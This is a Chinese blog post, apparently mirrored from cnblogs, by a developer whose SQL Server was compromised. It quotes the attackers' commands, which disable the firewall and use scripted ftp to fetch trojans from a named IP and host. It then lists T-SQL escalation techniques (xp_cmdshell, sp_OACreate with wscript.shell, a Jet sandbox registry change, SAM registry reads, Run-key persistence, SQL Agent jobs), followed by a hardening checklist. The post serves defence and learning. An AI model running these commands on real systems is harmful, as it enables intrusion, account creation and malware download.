zoukankan      html  css  js  c++  java
  • sqlserver注入方式与安全防护的学习

        自己的开发机经历了两次的中毒现像.每次中毒的现像,都是sqlserver.exe进程去执行cmd.com进程,然后生成*.sys与*.bat两个文件,然后去使用ftp.exe去下载木马下载器,然后杀毒软件开始报警了.

        下面是cmd.com执行指令内容
        "C:"WINDOWS"system32"cmd.com" /c net1 stop sharedaccess&echo open 218.61.11.97>dboy.sys&echo 11>>dboy.sys&echo 11>>dboy.sys&echo get pc.exe C:"boots.exe>>dboy.sys&echo bye>>dboy.sys&echo ftp -s:dboy.sys>dboy.bat&echo copy C:"boots.exeC:"WINDOWS"system32"inf"test.exe&echo start start /high "" C:"WINDOWS"system32"inf"test.exe&echo start C:"boots.exe>>dboy.bat&echo start C:"boots.exe>>dboy.bat&echo del dboy.sys>>dboy.bat&echo del %0>>dboy.bat&dboy.bat

        "C:"WINDOWS"system32"cmd.com" /c sc stop sharedaccess&echo open ddosboy1.3322.org >dboy1.sys&echo dboy>>dboy1.sys&echo if>>dboy1.sys&echo get dboy1.exe C:"Windows"tcpsrv1.exe>>dboy1.sys&echo bye>>dboy1.sys&echo ftp -s:dboy1.sys>system1.bat&echo start C:"Windows"tcpsrv1.exe>>system1.bat&echo start C:"Windows"tcpsrv1.exe>>system1.bat&echo del dboy1.sys>>system1.bat&echo del %0>>system1.bat&system1.bat



       第一次中毒,之后,就对sql server进行了加强,删除了"xp_cmdshell"这个sql server中最不安全的扩展存储过程.不过,好了没一个月,又来中一次.
       这一次,我检查了数据库日志,xp_cmdshell并没有恢复,不过却在日志在发现了sp_oacreate与sp_oamethod两个存储过程的执行日志.
       于是上网学习,把自己的学习的一些东西记录下来:
       1. 初级sql注入攻击
       初级黑客攻击SQL Server时,首先采用的方法是执行master数据库中的扩展存储过程xp_cmdshell命令来执行一些指令,添加用户,添加文件,添加木马病毒等.
       对付此类黑客只要禁用xp_cmdshell存储过程就可以了.
       xp_cmdshell是一个允许执行任意的命令行命令的内置的存储过程。例如:
       Exec master..xp_cmdshell 'dir'
       将获得SQLSERVER进程的当前工作目录中的目录列表。如图:

       Exec master..xp_cmdshell 'net user'
       将提供服务器上所有用户的列表。当SQLSERVER正常以系统帐户或域帐户运行时,攻击者可以做出更严重的危害。

       从上面的两个示例中可以看出xp_cmdshell的强大功能,功能的强大也意味着破坏性的强大.
       一般情况下,xp_cmdshell对管理员来说也是不必要的,xp_cmdshell的消除不会对Server造成任何影响。    
       可以将xp_cmdshell消除:    
       Use   Master    
       Exec   sp_dropextendedproc   'xp_cmdshell'
       Go    
             
       如果需要的话,可以把xp_cmdshell恢复回来:    
       Use   Master    
       Exec   sp_addextendedproc   'xp_cmdshell', 'xplog70.dll'
       Go    

       如果有必要可以把xplog70.dll这个文件也删除了,记得做好备份.

    sql 2005:

        sql 2005默认情况下是不能执行xp_cmdshell存储过程的,但这就安全了吗?

     
    开启xp_cmdshell存储过程的执行权限
    EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
    关闭xp_cmdshell存储过程的执行权限
    EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE;

       删除了xplog70.dll将影响到"企业管理器"的一部分功能,我碰到的是无法在"企业管理器"中查看数据库服务器的属性.
       
       2.中级sql注入攻击
         我们进行了上面这一步的操作之后,就可以防护住了sql server的安全了吗?不行,这只能针对一些刚学习sql注入的菜鸟才可行的办法,对于中鸟及老鸟可不行,他们的方法可多了.
         现在让我们来看一下中级注入的方法.
         当数据库管理员禁用了xp_cmdshell同时删除了xplog70.dll,也禁止了文件上传功能,那么针对初级来说使用xp_cmdshell来进行一些操作已经不可行了.
         但是微软还提供了一些其他功能的存储过程,可以让中级黑客进行入侵.
         1) 利用OLE对象接口
          SQL SERVER提供了一些函数访问OLE对象,分别是sp_OACREATE和sp_OAMethod,
          可以利用他们调用OLE控件,间接获取一个 shell。使用SP_OAcreate调用对象wscript。shell赋给变量@shell,然后使用SP_OAMETHOD调用@shell的属性run执行命令。

          DECLARE @shell INT
          EXEC SP_OAcreate 'wscript.shell',@shell out
          EXEC SP_OAMETHOD @shell,'run',null, 'net user hack hack /add'


        2) 开启access的沙盒模式
           在默认情况下Jet数据引擎不支持select shell("net user ray ray /add")这样的SQL语句,
           但是开启了JET引擎的沙盒模式后就可以执行命令,
           先利用xp_regwrite存储过程改写注册表,然后利用 OpenRowSet访问一个系统本身自带的一个ACCESS数据库文件,再执行运行命令的SQL语句。

           EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare"Microsoft"Jet"4.0    "Engines','SandBoxMode','REG_DWORD',3

        SandBoxmode值说明
        默认值为2,
        0--表示始终禁用SandBoxmode模式,
        1--表示对于非Acess应用程序试用SandBoxmode模式,
        2--表示对access应用程序使用SandBoxmode模式,
        3--则表示完全开启安全设置。

            Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:"windows"system32"ias"ias.mdb','select shell("net user hack hack /add")');

     
         3) 利用xp_regxxxxx之类的存储过程写注册表项
        这个方法只有sa账户或是sysadmin权限的帐户才可以使用.
        执行
        exec xp_regread ''HKEY_LOCAL_MACHINE'', ''SECURITY"SAM"Domains"Account'', ''F''
        如果碰到一个粗心的管理员,说不定就能得到管理员的密码.
        加一个启动项什么的自然不在话下。
        利用xp_regwrite写注册表项,直接把要执行的命令写入RUN启动项。
        EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE"Microsoft"Windows"currentversion"run','shell','REG_SZ','C:"windows"system32"cmd.exe /c net user hack hack /add'

        如果有必要就把这些扩展都删除了
        Xp_regaddmultistring (向注册表中增加项目)
        Xp_regdeletekey (从注册表中删除一个键)
        Xp_regdeletevalue (从注册表中删除一个键值)
        Xp_regenumvalues (列举主键下的键值)
        Xp_regread (读去一个主键下的键值)
        Xp_regremovemultistring (从注册表中删除项目)
        Xp_regwrite (向注册表中写入数据)

        4 ) 利用SQL代理执行命令
           默认情况下这个服务是关闭的.我们可以先利用xp_servicecontrol开启SQLSERVERAGENT,然后建立个SQL计划任务,然后马上运行这个任务。

            exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT'
            use msdb exec sp_delete_job null,'x'
            exec sp_add_job 'x'
            exec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c Dir C:"'
            exec sp_add_jobserver Null,'x',@@servername exec sp_start_job 'x'

        除了我举的上面四种方式外,还有其他方式,不过我不太了解,我就不一一列举了。

       三、其他获取系统信息
        
        历遍目录
        exec master.dbo.xp_dirtree 'c:"'
        获取子目录
        exec master.dbo.xp_subdirs 'c:"'
        列举可用的系统分区
        exec master.dbo.xp_availablemedia
        判断目录或文件是否存在
        exec master..xp_fileexist 'c:"boot.ini'
        等等,不一一列举了.

        四、高级注入技术
            对于高级注入技术,我在网上没找到相关的学习资料,我想这些技术也应该是在一小部分人群中传播的。所以也就无从讲起了。


       五、防御SQL注入的一些要点与方法
        1. 确认已经安装了windows操作系统和SQL Server的最新补丁程序。  
        2. 评估并且选择一个考虑到最大的安全性但是同时又不影响功能的网络协议。 多协议是明智的选择, 但是它有时不能在异种的环境中使用。  
           说明:如果可能请除去不需要的网络协议。  
        3. 给 "sa" 和具有"sysadmin"权限的帐户设定强壮的密码来加强其安全性。至于什么是强壮的密码呢,个人认为是字母、数字、特殊字符的组合,不少八位字符。
        4. 使用一个低特权用户作为 SQL 服务器服务的查询操作账户,不要用 LocalSystem 或sa。
           这个低权限的帐户应该只有最小的权限和限制这个帐户对SQL Server的查询与存取操作。 用户可以用最小权限查询sql server中的很多东西。若非必须不要给予多余的权限。
           注意:当使用企业管理器做以上设置时 , 文件,注册表和使用者权利上的权限处理。  

        5. 确定所有的SQL服务器数据,而且系统文件是装置在 NTFS 分区,且"目录访问控制"被应用。
           如果万一某人得到对系统的存取操作权限,该层权限可以阻止入侵者破坏数据,避免造成一场大灾难。  

        6.如果你不需要 xp_cmdshell 那请停用它。如果需要的话再把它增加回来。
        其实这也好也不好 ————一个侵入者如果发现它不在了,也只需要把他加回来。考虑一下,可以除去在下面的 dll但是移除之前必须测试因为有些dll同时被一些程序所用。
        要找到其他的程序是否使用相同的 dll请进行以下步骤:  
        首先得到该 dll:
        select o.name,c.text from dbo.syscomments c , dbo.sysobjects o where c.id=o.id and o.name=‘xp_cmdshell‘  
        其次,使用相同的 dll发现其他的扩展储存操作是否使用该dll:
        select o.name,c.text from dbo.syscomments c , dbo.sysobjects o where c.id=o.id and c.text=‘xplog70.dll‘  
        用户可以用同样的办法处理下面步骤中其他你想去掉的进程。  

        7. 如不需要就停用对象连接与嵌入自动化储存程序 ( 警告 - 当这些储存程序被停用的时候 , 一些企业管理器功能可能丢失). 这些存储过程如下:  
        sp_OACreate  
        sp_OADestroy  
        sp_OAGetErrorInfo  
        sp_OAGetProperty  
        sp_OAMethod  
        sp_OASetProperty  
        sp_OAStop  
        如果你决定停用这些存储过程,那么请给他们写一个脚本这样在以后你用到他们的时候你能够把他们重新添加回来 。

        8. 禁用你不需要的注册表存储过程。(同上面的警告)这些包括:  
        xp_regaddmultistring  
        xp_regdeletekey  
        xp_regdeletevalue  
        xp_regenumvalues  
        xp_regremovemultistring  
        注意 :xp_regread/ xp_regwrite这两个存储过程的移除影响一些主要功能包括日志和SP的安装,所以他们的移除不被推荐。  


        9.移除其他你认为会造成威胁的系统储存过程。 这种存储过程是相当多的,而且他们也会浪费一些cpu时间。
         小心不要首先在一个配置好的服务器上这样做。首先在开发的机器上测试,确认这样不会影响到任何的系统功能。在下面是我们所推荐的有待你评估的一些列表:  
        sp_sdidebug  
        xp_availablemedia  
        xp_cmdshell  
        xp_deletemail  
        xp_dirtree  
        xp_dropwebtask  
        xp_dsninfo  
        xp_enumdsn  
        xp_enumerrorlogs  
        xp_enumgroups  
        xp_enumqueuedtasks  
        xp_eventlog  
        xp_findnextmsg  
        xp_fixeddrives  
        xp_getfiledetails  
        xp_getnetname  
        xp_grantlogin  
        xp_logevent  
        xp_loginconfig  
        xp_logininfo  
        xp_makewebtask  
        xp_msver xp_perfend  
        xp_perfmonitor  
        xp_perfsample  
        xp_perfstart  
        xp_readerrorlog  
        xp_readmail  
        xp_revokelogin  
        xp_runwebtask  
        xp_schedulersignal  
        xp_sendmail  
        xp_servicecontrol  
        xp_snmp_getstate  
        xp_snmp_raisetrap  
        xp_sprintf  
        xp_sqlinventory  
        xp_sqlregister  
        xp_sqltrace  
        xp_sscanf  
        xp_startmail  
        xp_stopmail  
        xp_subdirs  
        xp_unc_to_drive  
        xp_dirtree  
        

        10. 除去数据库的guest账户,这样可以把未经许可的使用者排除在外。 例外情况是master和 tempdb 数据库,因为对他们guest帐户是必需的。  

        11. 若非必须,请完全地禁用SQL邮件功能。它的存在使潜在的攻击者递送潜在的 trojans ,病毒或是简单实现一个DOS攻击成为可能  

        12. 记录所有的用户存取访问情况。 从企业管理器做这些设定或通过以sa登陆进入查询分析器的下列各项:  
        xp_instance_regwrite N‘HKEY_LOCAL_MACHINE‘, N‘SOFTWARE" Microsoft"MSSQLServer"MSSQLServer‘,N‘AuditLevel‘,REG_DWORD,3  

        13. 建立一个计划的任务运行: 
        然后再重定向输出到一个文本文件或电子邮件,因此你监测失败的登录尝试。
        这也为系统管理员提供一个好的记录攻击的方法。 也有很多用来分析NT日志事件的第三者工具。
        注意: 你可能需要将路径换成你安装SQL的路径。  

        14. 设定非法访问和登陆失败日志警报。到 企业管理器中的"Manager SQL Server Messages "搜寻任何有关无权访问的消息
        ( 从查找"login failed"和"denied"开始). 确定你所有感兴趣的信息被记录到事件日志。然后在这些信息上设定警报 , 发送一个电子邮件或信息到一个能够对问题及时响应的操作员。  

        15. 经常检查组或角色全体会员并且确定用组分配权限,这样你的审计工作能够简化。 确定当你在的时候 , 公众的组不能从系统表执行选择操作。  

        16. 花些时间审计用空密码登陆的请求。 使用下面的代码进行空密码检查:  
        select  
        password  ,*
        from syslogins  
        where password is null  
        order by name  


        17. 检查所有非sa用户的存取进程和扩充存储进程的权限。 使用下面的查询定期的查询哪一个进程有公众存储权限:  
        Use master  
        select sysobjects.name  
        from sysobjects,sysprotects  
        where sysprotects.uid=0  
        AND xtype 在 (‘X‘,‘P‘)  
        AND sysobjects.id=sysprotects.id  
        Order by name  

        18. 当时用企业管理器的时候,使用整合的安全策略。 过去,企业管理器被发现在标准的安全模态中储存 "sa" 密码在注册表的 plaintext 中。 注意: 即使你改变模态,密码也会留在注册表中。

    sql 2000:

        使用 regedit 而且检查键:  
        HKEY_USERS"{yourSID}"software"Microsoft"Microsoft SQL server"80"tool"SQLEW"registered server X"SQL server group  
        ("SQL server组" 是默认值但是你可能已建立用户组因此相应地改变其位置)  

    sql 2005已经没有在注册表中写sqlew这个键了.

          

        19. 制定一个安全审核计划,每月的一份安全报告,对IT主管可用的报表包括新的开发内容中进行的数据库修改,成功的攻击 , 备份保护 , 和对象存取失败统计。  

        20. 不要允许使用者交互式登陆到 SQL Server之上。这个规则适用任何的服务器。 一旦一个使用者能够交互式进入一个服务器之内,就有能用来获得管理员的存取特权得到管理员权限。  

     最后就是,对方怎么得到我的开发机上的动态IP的,这我怎么也没想清楚.

  • 相关阅读:
    MyBatis之三:多表联合查询
    MyBatis之二:简单增删改查
    MyBatis之一:入门
    如何用Maven创建web项目(具体步骤)
    Maven3.2创建webapp项目过程中问题以及解决方案
    纯前端下载数据Excel文档
    centos7 yum无法正常工作
    Element ui table selection 分页支持保存已经选中的数据,同时支持随时删除选中的数据,并设置默认选择
    删除排序数组中的重复选项
    列表数据(包含父节点关系)转化为树形结构
  • 原文地址:https://www.cnblogs.com/chillsrc/p/1346054.html
Copyright © 2011-2022 走看看